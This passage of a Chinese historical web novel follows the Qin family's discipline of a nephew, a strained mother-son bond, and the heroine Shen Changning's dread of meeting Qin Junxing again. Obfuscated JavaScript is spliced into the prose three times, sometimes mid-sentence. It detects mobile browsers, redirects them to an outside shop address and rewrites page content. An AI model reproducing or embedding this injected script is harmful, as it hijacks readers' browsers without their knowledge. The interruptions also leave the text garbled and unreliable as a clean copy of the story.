作为秦时副将，他父亲自知秦家规矩严厉，但也未有心软犹豫之时。 谢真是二人长子，又长在边塞，那地苦寒，心觉对不起孩子，总不自觉偏宠偏爱，养出一身毛病。夫人回京时，特与秦家言说，一切随俗。 他们与秦均行一同回来，又向兵部递了折子，言说缘由，免得来日生事。 戍边将领，家眷来去，总比旁人严些。 这鞭子，是他来京前，父亲特请匠人做的，行代为管教之责。 谢真既敬秦均行，又怕。加上母亲病疾缠身，用了许多药，见了无数大夫，终不见大好。 人在他处，纵是舅舅家，难免心生寄人篱下之感。 他在秦均行面前，一向乖顺。 鞭子一直搁置，从未觉得，还会有会用到的时刻。 谢真僵立在原地，胆怯中混杂着懊悔，还有一点，没打赢的郁结。 真将那人打倒在地，受这委屈与教训，也不亏。 现在算什么—— 赔了夫人又折兵？ 谢真抬眼，视线与秦均行有一瞬的交错。 习武场内。 谢真咬牙站着，秦均行未肯饶他，出言定行。武将，终究与文人世家有所不同，秦均行的祖父又是屠户起身，在战场上摸爬滚打一辈子挣得的国公之位，想要将来之不易的爵位世世代代传承下去，对子侄尤为严苛。 秦家的孩子，无论出自哪个母亲的肚子，满身骨血，都无甚区别，因为父辈只注重他们有用与否。 长幼嫡庶，可以约束世人，约束不了秦家。 朝臣口诛笔伐，他们承受许多，再添分毫，也不算大事，左右不过是不遵礼法。 秦均行遭受的棍子，远比敲在他身上的痛。 破空声传来，谢真怯而耸肩，下意识背部紧绷。 鞭身漆黑，宛若灵蛟，鞭梢倏尔裹上他的背，与皮肉相撞！ 他父亲到底留了手，鞭子仿照驱车赶马所制，只响，不疼，既能催促牛马前行，又不会伤其太多。 可就是这鞭子，在秦均行手中，一鞭挥下，依旧抽的锦袍登时迸开。 鞭梢擦过肌肤，骤生红印，细瞧，还带着隐约浮透的血痕。 秦均行未肯留情。 疼痛未消，下一鞭又来，爆裂声不止。 谢真绷紧身子，疼到发抖，也不肯吭声，忍不住就咬唇壁的肉，直到血腥味散开，头晕眼花，方不再闻身后动静。 头顶一层细密的汗珠，发迹都被濡湿，沿着耳廓流淌开。 谢真大喘气，背部麻痛得像千万只蚂蚁在啃咬，让他不敢动。 劫后余生，又生震然。 抽鞭子已经这么痛，打军棍又该如何？ 他呆呆扭头。 母亲说过，秦均行第一次挨军棍，方才六岁，他舅父到底是怎么下得去手的？听人说腰侧的肉都裂开，秦均行高烧不退，意识昏然间连唤娘。 他怕秦均行下手也那般狠。 - 秦均行执着鞭子，站在他身前，目光居高临下，摄住他的魂。 “你可知为何如此？”秦均行掀唇，冷冷开口。 “我做错了事。” “何事？” “恃强凌弱，不懂兄友弟恭。”谢真愧然垂面，“他将是我师弟，我本该护他、爱他，担起兄长的责任，可我却为了所谓面子，在他面前逞能。” ——真被对方赞叹，也便罢，偏偏画虎不成反类犬。 后又因对方的言语恼羞成怒。 谢真动了动唇，胸中之言羞于表露，白到透明的小脸泛出燥羞红意。 秦均行让他回去休息。 谢真趴在床上，麻意过了，伤口处开始翻滚辛辣的痛楚，他揪着枕头，挪动着想要找个舒坦的躺姿，一番动弹，左右不得法，反让伤口更痛，干脆僵趴。 本来能侧躺，但下午在洗心寺，腰侧被打了。 长这么大，第一次被人抽鞭子。 疼和无法言说的情绪混杂在一起，激的他眼眶泛潮。 好疼。 也不知娘亲会不会来看他。 他想躺在对方怀里，又怕秦均行真的告诉她，惹她担忧。 她那病，宫中为贵人治病的太医请了，走街串巷的游医也请了，甚至连不被认可的草医都问过，方子吃了无数，身子依旧疲沓，愈发纤瘦。 困倦渐来，门被推来，他下意识张口唤娘，耳朵敏感地听出来人步伐稳健，不似他娘的虚浮轻巧。 谢真眉梢一跳，抬头转去。 “……哥？” 秦均行手中拿着药，坐在他床侧：“我没与姑母说。” 谢真空落落地松了口气。 她不知道最好，她那病，是生子时落下的，不知是什么缘故，孩子生不下来，拖了数日，母亲连睁眼的力气都没有，躺在床上，像个没生气的木偶。 谢真没想到会被秦均行亲自上药，别别扭扭。 直到秦均行动手掀他的衣裳。 谢真疼得猛掐枕头。 秦均行盯着自己的杰作，只打了五鞭子，伤口耸起，泛出青紫血痕。 那鞭子软，真使力，也不会将人打的不得起床。 养到年前，痕迹虽不能消，却能不碍行动。 药膏寻常时触摸凉意沁人，抹在伤口伤，就变了味，宛若灼人的岩浆用满是倒刺的舌头在舔舐。 谢真痛的佛佛佛，觉丢人，猛将脑袋埋在枕头里，不肯出来。 秦均行手下未肯留情，“那人是谁家子弟？” “沈家。”谢真头未抬起，发出的声音闷然。 秦均行没时间管教他，将他送进了洗心寺，澄秋与秦均行故交有旧谊，待人待事皆温和，待习武，却严厉到让人发蒙。 第一次练拳，澄秋带怒的尾音低沉到他现在都记得。 他如今的棍法，有形无神，根本达不到大开大合的匹练之意。 他却因此沾沾自喜，这套枪法精深奥妙，和同龄人对战，十场有八场是他胜，心被胜利浸得熏熏然，不知收敛，骤而折戟，心里难受，可想而知。 秦均行听他言，未再言语。 推门走出时，他隐约听见一句低沉的“备马。” 大庆建国百年，几代帝王励精图治，国库丰盈，百姓士民，安堵乐业。 京师无夜禁。 天大黑，沿途尚有售炭卖烛的贩夫走卒。 洗心寺在近郊的山腰，去时，寺门已关，便走为来往僧人贵人留下的一方偏门，此门宽敞，不设门槛，可通马车，僧众平日所需米面亦自此门入。 穿过印有"吉祥如意"的门簪，饶过神佛花砖，一路未停，直到武僧寮房，方勒马止蹄。 寮房灯火稀松，并不全亮。 年终岁尾，宫中常调武将回京述职。 武僧通过习武修心修德，知晓旧交归来，会离寺拜访。 秦均行翻身下马的同时，一寮房亮起了灯。 秦均行眉梢一跳，推门而进，诧然问：“你怎知我要来？” 澄秋只着里衣，放下佛珠，止了在罗汉像前的礼经，笑了下：“自然是自马蹄声辨出的。” 今夜马蹄踢踏声单调、清晰，分明是一人一骑，且马裹蹄钉掌、又衔口，他的旧交故友，只有秦均行自辽中骑回的马是如此。 澄秋：“我原还想着明日托人给你送去，没想，你亲自来了，原是菩萨都惦记着你。” 他边说边支开窗，自窗下取出一红漆绘花鸟的提盒。 寒冬天，东西易存储，吃不完的放在外面，入了夜，自然冻上。 沈家给大和尚送，也未忘了他。包子足有拳头大，他给在寺的师兄分去些，还剩三个，惦念着秦均行曾在辽东驻军处待过，准备给他送去。 秦均行想着又是佛前供果，本要推拒，一想是外头拎进门的，又顿住。 冬季新鲜瓜果是稀罕物，哪能放在外头作践？ 他接来掀开，瞧清东西，微怔。 北方远比京师冷寒，冬日滴水成冰，巡兵回来，四肢都冷透了，吃个此物，远比热茶有用。 秦均行捏了下，冰凉坚硬，稍用力，又能摁到微陷。 刚放在外不到两个时辰。 “哪来的？” “我新徒弟带来的，那孩子本想送到澄炎师兄那，前去言说时，我正在，听着年纪与谢真相仿，想着若有个师弟在，更能督促其奋进些，就讨了来。” 监寺大和尚当时还笑。 说他刚开山收徒，就来和师兄抢人。 澄炎倒是知道谢真，那孩子年纪小，又在军营摸爬滚打长大，各地的将领都是轮换着来的，这个地守五年，那个地守十年，时间长了，天南地北哪的人都有。 谢真这孩子，从这偷一点，从那偷一点，简直是自成一派。 第一次来，众多师父见了，场中落针可闻。 大和尚暗叹声：“完。” 第一个徒弟就这样，他真怕澄秋弃了武僧，转去专做念佛诵经的“文僧”，那洗心寺岂不少了个招牌？ 好在谢真的性子经过一年，扳回来许多。 他讨来沈庭萧那晚，监寺大和尚还笑：“也该让你知晓乖顺徒弟的模样。那孩子我问过，之前一直在老儒身边读书，想来不像你那炸呼呼的刺头。” 澄秋莞尔：“那更该是我的徒弟。” 他那师兄，尤爱当头棒喝，成日拿个棍子敲打弟子脑袋，让其开悟。 澄秋不知秦均行此日前来，是因何要事。 秦均行如今任职于羽林前卫，行京畿护卫之责。年关是要节，禁军数班轮替，昼夜不歇，一应将领自有调遣，非要事，不得离家离营。 秦均行：“你就给我喝水？” “最后那点给今日来的沈姑娘喝了。” 秦均行哑然，又问：“沈？” 谢真方才也说，他的师弟姓沈。可一时未想到京中哪个姓沈的武将，家中有未拜师的年幼子侄。 “礼部祠祭司郎中的连襟，咸初十二年殁在江南的监察御史。”澄秋本想说当今的沈家人，话到嘴边，却不知是何职位，作罢。 “你问这做什么？”澄秋笑道，“总不能是要跟我抢徒弟。” 秦均行和他说了两孩子闹出的事。 本想着同是武将家的孩子，未想父亲是御史。 他此生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773620|145694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最恶都察院众人，咬文嚼字、引经据典。也不知这沈家孩子，是否是个娇气性子，不然托人向宫中递折子，在其它事上旁敲侧击，他又要上书求情。 怕是要登门告罪。 秦均行走后，澄秋坐在窄床边，重新拾起未读完的经，低声诵读，心却怎么也静不下来，念想纷飞。 阿弥陀佛。 教授弟子一途，大概是他的劫。 旁人弟子，各个贴心，到他这，简直就是阎王索命。 秦均行拎着提盒回，自己未吃，而给主院送去，他母亲与姑母都在辽东待过，二十二漫天飞雪，母亲怅惘，叹道能再吃上一口水馅包子该多好。 京中的面案师傅做出来的，总没想要的味儿。 她想的大概不是吃食，而他父亲。 主院的灯烛还未歇，透过窗纸，溢出融融的光晕。守夜的姑娘闻声出门，初还疑，见是他，怔然上前，“世子？” “我给夫人送些东西。”他递去提盒。 姑娘接过，心底发喜，正要邀他进门，秦均行已转身离去，未再有言。 他总是来去匆匆。 若非要事，很少进院。 夫人总哭，怨他和自己不亲不近。 张开的口合上，姑娘打起帘子，将东西送去。 夫人姓周，单名一个婉。 门被推开时，她正在练字，屋内燃着香，袅袅盘旋。 见伺候的姑娘手提着食盒，隐有猜测，又不敢真去想，尾音拖长：“这是——” “世子给您带的。”姑娘道，将东西送去，搭在桌案上，替她掀开。 周婉目光落上，见是前几日惦念的水陷包子，又惊又喜，人向门外看去。 门扉紧扣，外头无声。 分明无人。 他又是这般，不肯进来，不肯瞧自己。 刚热起的心登时被泼了抔凉沁沁的冰，连描到一半的字帖都没心情再写，眼底酸酸的，道：“我不想吃，给三姑娘送去吧。” 三姑娘，名唤秦昭，今年十五。 她那时刚成亲，秦时就调至辽东，虽膝下有了秦均行，到底舍不得丈夫，又听闻他纳了房小妾，更是酸涩，信中哭了几次，终于求着秦时将她也接去。 她在辽东待了七年，生下秦昭，又独身带秦昭回京。 周婉出身名门，祖上三代列侯，当初贪恋秦时盛名，一心嫁进来，婚后终觉出苦味，再不愿让自己的姑娘步自己的后路—— 留在辽东，能嫁的就那几家。 她不愿。 姑娘应是，周婉又让她挑拣两个给暂居在此的秦氏和谢真送去。 姑娘见她神色，忧劝：“世子是到了年岁，不好与您亲近，他心底，真真是挂着您的。” 周婉眼中沁泪，心口苦：“你不懂，他是恨我。” 不然怎么会让她连一句话，都难与他说得。 六岁那年，军棍打在秦均行身上，更敲在她的心头。伤口红肿溃败，秦均行烧得口干舌燥，痛如车碾，哀唤娘。 她抱着孩子哭了一夜。 第二日秦时来瞧他伤情，蹙眉无言。 她心登时一跳，脚步虚浮地回了房，任凭秦均行再哭再唤，都不肯去瞧，只告诉他：“你此番模样，不是秦家子嗣该有的样子，做错了事，自当认罚，哭哭啼啼的样子，只会惹人厌烦，自此更不喜你。” 秦均行恨她当初心狠。 可她的孩子，怎能弱于那些贱妾的骨肉！她是列侯的独生女，名门闺秀，她的儿子，才配得肃毅二字！ 爵位必须是她儿子的！ 那些贱妾，哪有资格和她的孩子争较短长？！ 秦均行到底什么时候才能懂她的一番苦心。 他是自己身上掉下的肉，她哪会不疼他。 姑娘不知如何开口，只好讷讷道：“孩子怎会记恨母亲，怕是夫人想多了。” 周婉埋怨，捧着帕子掉泪：“他日日寅时三刻来请安，明明嗔恨极了我，哪里是我多想。” 他不落孝道，也不让秦家落人口舌。 日日来问安。 日日在寅时三刻，她未起之时，只在院外，不肯入门，也不肯让人通传。 她想见他都不得，某日等着，次日他便再提早一个时辰，惹的她哭了一日，心疼他，又哭自己。 再不敢提前候着。 他真是要生生逼死自己。 - 转日，大年二十九。 沈庭萧懒起。 昨晚他没告诉沈长宁白日发生在洗心寺的事情，但还是被知晓了，他趴在被窝里忍不住疼，轻哼唧，被兰嬷嬷发觉，还以为他在庙里撞了邪。 沈长宁终究来了，配合着兰嬷嬷，好生戏耍他一番。 她将自己的腿手都抬至半空，说：“真熟睡的人，被换了姿势，是不会改的。” …… 今日，曹六爷遣人登门送礼。 府里各个姑娘、少爷，一个未落。 许窈娘收了东西，脸上不见喜意，只有忧。 - 今日秦府也热闹。 秦均行年少随军，说来，还是头次在京中过年，儿女绕膝，周婉嘴上不说，心底实在是喜，准备热热闹闹过个好年。 她给秦均行做了套衣裳。 只这孩子，今日上值，说晚些还要去趟什子沈家。 也不知道哪个沈家。 过了年，他都十九了，也不知要为自己的婚事考虑。 13. 重开宴13 秦均行今日上值，不知何时能归，让秦昭等他到巳时，若还未归，便让秦昭先带谢真去沈家登门告罪。 二人来时，沈长宁并不在府中。 将至除夕，她要自己的外祖母送份年礼。 此时，沈家。 老夫人、大房、三房都在。 众人未料想沈庭萧会与秦家有缘，忙迎人入府。 方慧听秦昭歉音，登时回道：“言重了，言重了。孩子间打闹，再正常不过。”说罢，又问过谢真伤势。 谢真随父长大，人要面子，纵疼得厉害也不肯说：“婶婶多虑了，我好得很。” 方慧笑。 这事，如此便算了了，想来她家的孩子，不会拆她的态。 想法刚升起，沈庭萧开口：“我倒是很疼，昨晚都未睡好。” 方慧：“…………” 你疯啦？ 怎么说这种话。 她笑看沈庭萧。 沈庭萧瞧瞧移开目光，顿了顿：“但此事因我而起，是我初来乍到，不懂规矩。可拜入师门，就是亲人，不该分你我，我没亲兄弟，日后便认你做兄长，你以后可以随时来姚家找我，无需拜帖。” 他想见秦均行好久了。 谢真登时被感动和愧然充满：“日后你也可以随时去秦府找我。” 正说着，门帘高高卷起，丫鬟禀告：“老夫人，秦世子来了。” 沈庭萧有种被幸福砸晕的感觉。 秦均行？ 他顾不得许多，道了句“我去接”，自众人身旁跑过，掀起一道细小气流，活像松了闸的小鸟，飞扑向空中。 谁会挑一个小孩子的礼，众人一笑而过。 - 沈长宁刚从姚家回来，忽见秦府马车停在门前。 沈长宁：“……？” 她眼花了吗？ 可马车上的装潢与标徽，都在清晰地告诉她，就是秦家的马车。 那家是功勋世家，而且传到今日，也不过三代，族人又多在老家，做个闲散富人，非在京中。 沈长宁没由来地心跳了跳，她问前院管事，来者是谁。发现来得并非那人后，才松了口气。 ……那也不大想见。 她一点也不想与秦家再发生关联。 沈长宁准备找个地方躲一躲，只当自己没回来—— 若被发现，有人问起，就说不知秦家来了。 如今日子尚算太平，可莫要再和秦家发生关联了。 包括秦昭。 秦昭小时在军营里跌爬滚打过，五官明艳而英气，穿红衣弯弓猎猎的模样，尤为好看，惊艳她许多年。 二人上辈子，也曾是挚友。 只是后来两人间横亘了些东西，再见面，唯有无言。 前世。 闻钰被削爵夺位，幽禁冷宫。 秦昭不愿另嫁，出家修行，在佛寺苦等。 沈长宁不理解。 她明明有那么多选择，为什么非要横亘在她和闻钰间，做永生隔阂的天堑。 那日，是二人从冷宫走出的第三日。 她接待来拜访的官家夫人后，想起秦昭，闻其人在寺中，前去探看。 禅房幽静清深，她穿过垂花门，却见闻钰的贴身侍从候在门外，见她，嗫嚅低头，不敢抬眼。 她抬步欲进，乌压压跪了一片。 伺候闻钰的宫人吓得脸都白了，叩头不止。 沈长宁哑然，到底给彼此留了分体面。 她忘记自己是如何离去，也想不起当时心情。 周遭风铃摇曳、梵音袅袅，又兼藤萝缠璧、万花红遍，景色奇绝，行之难忘。她却只记山路难行，青藓横生，遍布碎石，湿滑不堪。 宫人抬手扶她，她轻拂开。 宫人忐忑：“殿下，山路难行。” 她怅然轻笑，反问：“只此段难行吗？” 她不是一段路难走，是这一生的路都难走。 宫人惶恐跪下，伏地不起，不敢再言。 秦昭在宫外住了四年，直到闻钰登基，方入府。 往事翻涌在心头，沈长宁渐无心思，在一僻静处坐下。 正是晌午，日光穿透画栋雕梁，将她笼进去。 沈长宁发呆。 - 门前。 马蹄声急，一人骑着枣红色健马遥遥驶来，马蹄踏在地上，踢踏作响，掀起一阵雪烟。待至门前，稳稳一个勒马急停。 秦均行回秦府时，秦昭刚走不久，料想还能赶上，催马狂奔而来。 周婉正在家中等他，听他回来，差人去请，下人回了消息，说他已走。 周婉呆然注视手中新裁的冬衣，半晌，嘴唇蠕动，“收起来吧——”尾音拖长，她忍不住再问，“他可说去了哪儿？” - 秦均行勒马进府，缰绳扔给姚家门前管事。 秦昭已进，他如今来，没有在前院候着的道理，管事邀其进，只步子放缓变迟，留着时间让人快步去后院通传。 前院刚过半。 话已带到。 待入垂花门，沈庭萧夺门而出，热烈扑来。 二者同走一段路，一同踏入廊庑，走向长廊。 沈庭萧疾跑，秦均行慢行。 - 沈长宁坐在廊中，遥看廊外一抹苍青色的天，只觉现在日子真是快活，何苦想上辈子的来作践自己？ 远方脚步声扑来，由远及近，萦绕在耳边，唤醒沈长宁的思绪，抬眼循着声音望去，但见一抹熟悉的身影，呼啸着跑来，眉眼间淌过一抹明亮笑意。 沈长宁：“……？” 他来这做什么？ 她撑着身子起身，未料刚瞧光照斑斓处太久，眼前模糊，有些瞧不清远处，怕沈庭萧不知深浅，向后略退两步，准备稍避开。 下一刻，腰侧被一掌背轻轻抵住。 随之传来的，是一道熟悉至刻在骨头里的清浅香气。 沈长宁：“……？” 沈长宁：“？？？” 近乎瞬间，她悚然回头。 映入眼帘的，是一骨节分明的手，中指关节处，有一细小疤口，以及一泛出青筋的颈侧。 来人穿着黑狐大氅，目光淡淡垂下，无需对视，都给人凌厉夺目之感。 适逢长风鸣廊，沈长宁身影仿佛凝固住。 每一寸感知，都在告诉她，来人是谁。 微弱的呼吸拂过脸，沈长宁愕然抬眼。 正对上一双尾端微微上挑的瑞凤眼，眼神淡漠平静，却带着不容忽略的侵略性—— 天才多自傲。 他是出鞘利剑，寒光湛湛。 此人行事桀骜烈性、轻狂自负。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773621|145694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >对人对事，尽皆如此。 二人对视。 刹那间，空气凝结。 沈长宁吓到模糊，一时怔住。 她的注视下，那人也在饶有趣味地回看。 秦均行来时窥见朱红廊柱旁有一素雅浅淡的人影，又瞧见其起身，本以为是向前行，并未在意，未料突然后退，来不及出声，便只用手背轻轻阻挡。 她着色轻浅，蜜合色里缀着浅黄，唯一的鲜艳色调就是颈侧坠着的红宝石璎珞，配着耳侧的押韵宝石珠子。 她动，珠子就跟着颤颤摇动。 秦均行不知为何见到自己脸容瞬间，她神态变化如此大。 不是见外男的紧张。 是恐惧。 她怕自己。 秦均行稍稍垂睫，一瞬不瞬地盯着她的眸子，眸色沉沉，声音平缓稳慢，在二人身前的狭窄空间里荡开。 “为何如此怕我？”他问。 沈长宁从没想过，会与他见面。 秦均行目光摄人，眼中侵略之意太显。 他多用骑兵，擅奔袭，用兵时常攻其侧翼，偏好诡道，天性敏锐多疑。 身体比意识更先回神，微退数步，拉开二人间距离。 对方却没有放她的意思。 沈长宁不想开口，也不打算开口。 前世她就不知他到底是什么时候瞧看上的自己，真是生怕哪句话哪个反应，又让他得了趣。 此种场合，秦均行也挑不出她的错。 大庆对男女大防态度，不似前朝古板，但什么时候，守礼都非错事。 一个生来被规矩约束的人，见到同类，不会惺惺相惜，只会让其想起，自己也不过是只囚鸟。 这人，平生最厌束缚二字。 沈长宁低头不言，只临垂目前，给了秦均行身后管事一个眼神。 只两个字：救命！ 救救我！ 管事：“……” 他硬着头皮恭恭敬敬开口，对秦均行介绍沈长宁：“这位是府里的四姑娘。” 秦均行眉梢轻一动，针扎似的锋芒目光终于散去。 管事又对沈长宁解释来人身份。 沈长宁不好再不言，福礼：“见过大人。” 秦均行垂睫，虚扶她。 沈长宁静而悄地稍稍一避。 秦均行默然，视线落在她脸上一瞬，抬步向前。 二人擦身而过，气息有某瞬的交错。 秦均行身上常带伤，巾帕熏笼间添炭增香时，会加药材。 沈长宁倏然屏息，她怕不小心闻到，晚上做噩梦。 她默然跟在最后，随着两人向老夫人院子里走。 习武之人五感敏锐，刚擦身而过，就觉身后人呼吸停了，他起初并未在意，但过了片刻，呼吸仍旧未响。 秦均行微微蹙眉，抬目后瞥，直至二人离得远些，方见她重新开始呼吸—— 前两下比后面的明显重些，显然方才是在刻意屏息。 秦均行：“……？” - 有人愁，就有人欢喜。 起码沈庭萧狂喜丛生。 大人“近乡情更怯”之感，他还未有，见到来人，欢欢喜喜地将人迎进去。 都被瞧见了，沈长宁不得不作陪。 心里想着，左右这一次，日后再也不见。 14. 重开宴14 秦均行回府，听侍从道，周婉曾邀他去主院，沉默半晌，步子偏转，未回自己的院，而去主院。 “给母亲请安。” 秦均行解了大氅，给周婉问安。 周婉本想将刚送来的新衣裳给他，见他身上一股霜雪冷气，想起上午仆妇来回的消息，不禁蹙眉，督促两句：“明个儿就是年节，你去沈家做什么？孩子间的事，哪值得大动干戈。 沈家虽有声名，但到底没有锦鞯金鞍、珠璎宝珞的富贵与权势。 周婉嗔：“一个孩子，哪受得起秦家的礼。” 她想让秦均行过来。 他性子较小时改了许多，棱角不复，已然圆滑，可和自己间，生了层厚厚软墙。眼瞧不见，心却能触到。 她不喜欢。 “那孩子失恃失怙，无依无靠。”房里寂静半晌，秦均行方垂眼道，“被家人责备该如何应对？” 周婉一脸不赞同，“你又不是他父母，如此心软做什么！？” 秦均行良久无言，忽自嘲一笑，“我觉得那孩子可怜似我，也不成？” 沈庭萧了无依傍的样子，多像小时候的他。 “母亲忘了，我当时也是因着孩子间玩笑小事，被父亲责打。” 对方说自己父亲不敌他父亲，枪法逊色，此生都是败将。 他素来敬重秦时，不肯别人说他半句不好。 两人扭打在一起。 他气盈满腔，纵使对方比自己高，比自己大，身上落了伤，也将对方打的失声嚎啕。 那人回去告状，他也回去找秦时。 他以为事有因果、输赢又定，就算对薄公堂，也当阴阳分割，黑与白泾渭分明。 可结果，实在滑稽。 秦均行讥嘲一笑。 房内死一般寂静。 周婉身影凝滞，脸色僵住，心底抽痛，脸色倏然白了下去。 “你果真还在怨我，可我生你一场，你怎么能不记情分，只记怨恨……”她伤心欲绝，一语未终，泪如雨下。 秦均行垂下眼睫，心底平静如潭，只觉疲沓。 良久，上前半步，在她手畔放下一帕子，转身离去。 推门刹那，身后传来一声重物落地的声响。 周婉摔了装衣裳的小箱笼。 木匣迸裂，衣裳缀着玉环佩饰，啷当滚出，四分五裂。 碎片迸出，砸在秦均行手背腕骨，登时血肉翻滚，鲜血汩汩落地。 周婉惊然起身，向秦均行疾走而去。 绣鞋踩在柞木地板的声响，与门扉被拉开的咯吱声重叠在一处。 冷风呼啸，她奔来，只瞧见秦均行转入廊庑的背影。 那般高大，那般冷硬，宛如冷峭山石。 血珠落在地，一滴缀着一滴，叠在一起，似红梅—— 她生他时，在冬天，身上盖着的锦被花样，正是喜上梅梢，本是水烟色，被她浸出的血，染成了艳红。 周婉失魂落魄。 - 转天，便是除夕，辞旧迎新的好日子，还未彻底入夜，外头便已炮竹连天。 沈家备了长桌，热热闹闹地坐在一起守岁。 边上备了纸牌搏戏，沈长宁和几位兄弟姊妹玩几把，又被拉着出去投壶。 难得的热闹时节，府里伺候的姑娘们也叽叽喳喳地坐在一起，喜气溢满齿颊，声笑如浪。 掌灯时分，宴饮开始，众人欢聚酣酒、达旦不眠。 沈长宁吃酒几杯，脸生酡红，和众人说笑。 沈庭萧瞧着方慧，她离去再回，人就笑着走，去拿放置在床脚，用彩绳穿了再编作龙形的压岁钱。 临走时，想起什么，本都要推门出来，又匆匆折返，抓来一把银钱，笑跑到沈庭文身侧，让他替自己写新年拜帖。 沈长宁笑。 沈庭萧脸一红，他字是不好看，拿不出手。 整一摞洒金红纸，沈庭文大概要写半个时辰。沈庭瞻见到，坐在沈庭文身侧，陪他同写。 他膝还未好，不便出去，容易被瞧出异样。 曹六爷已回了晋中，明年二月归，到时两家便要彻底结亲了。 父母和他说此话时，沈庭瞻唯余沉默。 他不会娶的…… 来年曹六爷再归来，一切都当分明。 天际盈光，不知哪家寻了稀奇炮竹，响声震天，铜锣彻夜，好似山呼。 沈宝婵在外面瞧见，忙让沈长宁和沈妙仪出来一同看。 方慧则和许窈娘推开窗，在屋内吃酒。 她们不似姑娘，外头天寒，待长了，可受不住。 大庆凡京城在职官员都可上朝禀事，今日除夕，沈钦要入宫朝贺，聆听陛下教诲，再带赏菜回。 三哥鼓过半，人方回，沈家开始为今晚的重头戏，开祠祭祖忙碌。 那是另一重天的热闹，只属沈家儿郎。 姑娘家，是不必去的。 众人也不遗憾，沈宝婵和沈妙仪挤在沈长宁身边，笑看窗外华光璀璨、火树银花。后又提着灯笼，去换桃符、金财缕花与春帖，还在比谁贴得更平整、完好。 沈宝婵胆子大，还敢去点爆竹，找人要了根香，凑到爆竹前，见引线冒出火星，一丢烧了半截的香火，捂着耳朵跑回来 爆竹升空，化作星子，融散在浪般起伏的焰火金河。 皇城亮如昼，达旦不歇。 漫天火树梨花，嘈嘈声似雨，三人没敢玩太过，算着时间，见祭祖快结束，人也回来，吃两杯酒水取暖。 沈庭萧交给沈庭文和沈庭瞻的拜帖还未写完。 沈妙仪笑，自己取来笔，替二人向下写。 二伯生前许多故交，这份情，要以沈庭萧这个做儿子的名义向下续。 城池内外，尽被热闹淹没，除了直辖帝王、拱卫京师的二十六位与三大营，依旧默然伫立，轮转守值。 沈家热闹。 唯独秦府冷清。 周婉瞧着秦均行手背的伤，不知如何开口，只得不言。秦氏白日呕了口血，昏睡半日，刚见醒，谢真心坠着，坐在条桌一角，不言不语。 秦昭纵有出去热闹的心思，见此，终无言。 寂然饭毕。 周婉想到昨日被摔落在地的锦衣，心中难安，后悔不迭，碎玉珠子给袍子划出了痕，也在两人中间凿出了迹。 她想问问他的伤疼不疼，心疼不疼。 可她不知如何开口。 直到秦均行转身看她。 周婉生起期冀，踟蹰欲上前，秦均行只垂睫，给她问安，“指挥使抽调儿子今夜宿值。” 周婉的心登时凉了下去。 他骗自己…… 在除夕夜，阖家守岁时，骗他的母亲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773622|145694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那指挥使与她娘家有旧，她早托人递过消息，又送去年礼，不求旁的，只让他在除夕夜放秦均行一马。 让他在家，陪陪自己。 她与秦均行，已近十年未曾在一起庆祝过新年。 指挥使已应了的。 视线尽头，秦均行退后三步，转身离开。 全身的力气尽被抽离，周婉失魂落魄，跌落在椅上。 常言不都道母子连心，可为何秦均行与她间的微弱情分，不增反减。 自己难不成，真生了个讨债孩子？ 秦均行未曾骑马，而是披着大氅，独身而走，未去禁军方向，反向截然相反之地折去。 那是满大庆，人人避之不敌之地—— 北镇抚司。 辞旧迎新的好日子。各家张灯结彩，灯火氤氲下，登高一看，好似倒悬星河。 京中只一处，依旧黯淡。 那是整个大庆人惊鬼怕之处，锦衣卫北镇抚司。 诏狱内里。 番子解了其人山上枷具，捆于刑柱。木柱粘腻，沾满了尚未凝的血。 不多时，惨嚎四起，周遭牢房之人闻声，泪盈于眼，涕泗横流，恨不得当场死去，免得再遭非人折磨。 萦在鼻尖的，尽是血肉腥气。 一迭的求饶之声，不到半个时辰，就弱了下来，变成细弱哀吟，绵长戚微。 不多时，脚步声响起。 泪忽停，靠近牢门之人抬眼望去，见是行刑番子，瞳孔紧缩，空气都仿佛凝住，他想求饶，却不敢，只得被人托向牢房。 刑房前站着一人，未着官服，只穿常服，长发在雪白的大氅上流泻而下，清艳交融。 他不知这人是谁，本能想要求饶，张嘴欲喊，身侧番子却抬手卸了他的下巴！ 他“啊啊”的叫，极尽所能地想活下去。 那人闻声，果真转身，视线轻微淡远，神色冷淡，仿佛看的不是活人，而是死物。 番子脚步一顿，扯住手中之人，与其保持两步之距。 怕身上血污，脏了那人。 那人侧颜精致得与此地格格不入，声音轻描淡写，根本未将他放在心上，只盯着他道：“此批人不杀，五日一刑，直到吐口。” 番子应是。 手中之人惶恐哀鸣，胆裂魂飞，后背被扣着，人便匍匐在地，顾不得形象，膝行着要去拽那人的袍子。 间距不足盈尺，即将触摸到，被一黑缎皂靴踩住。 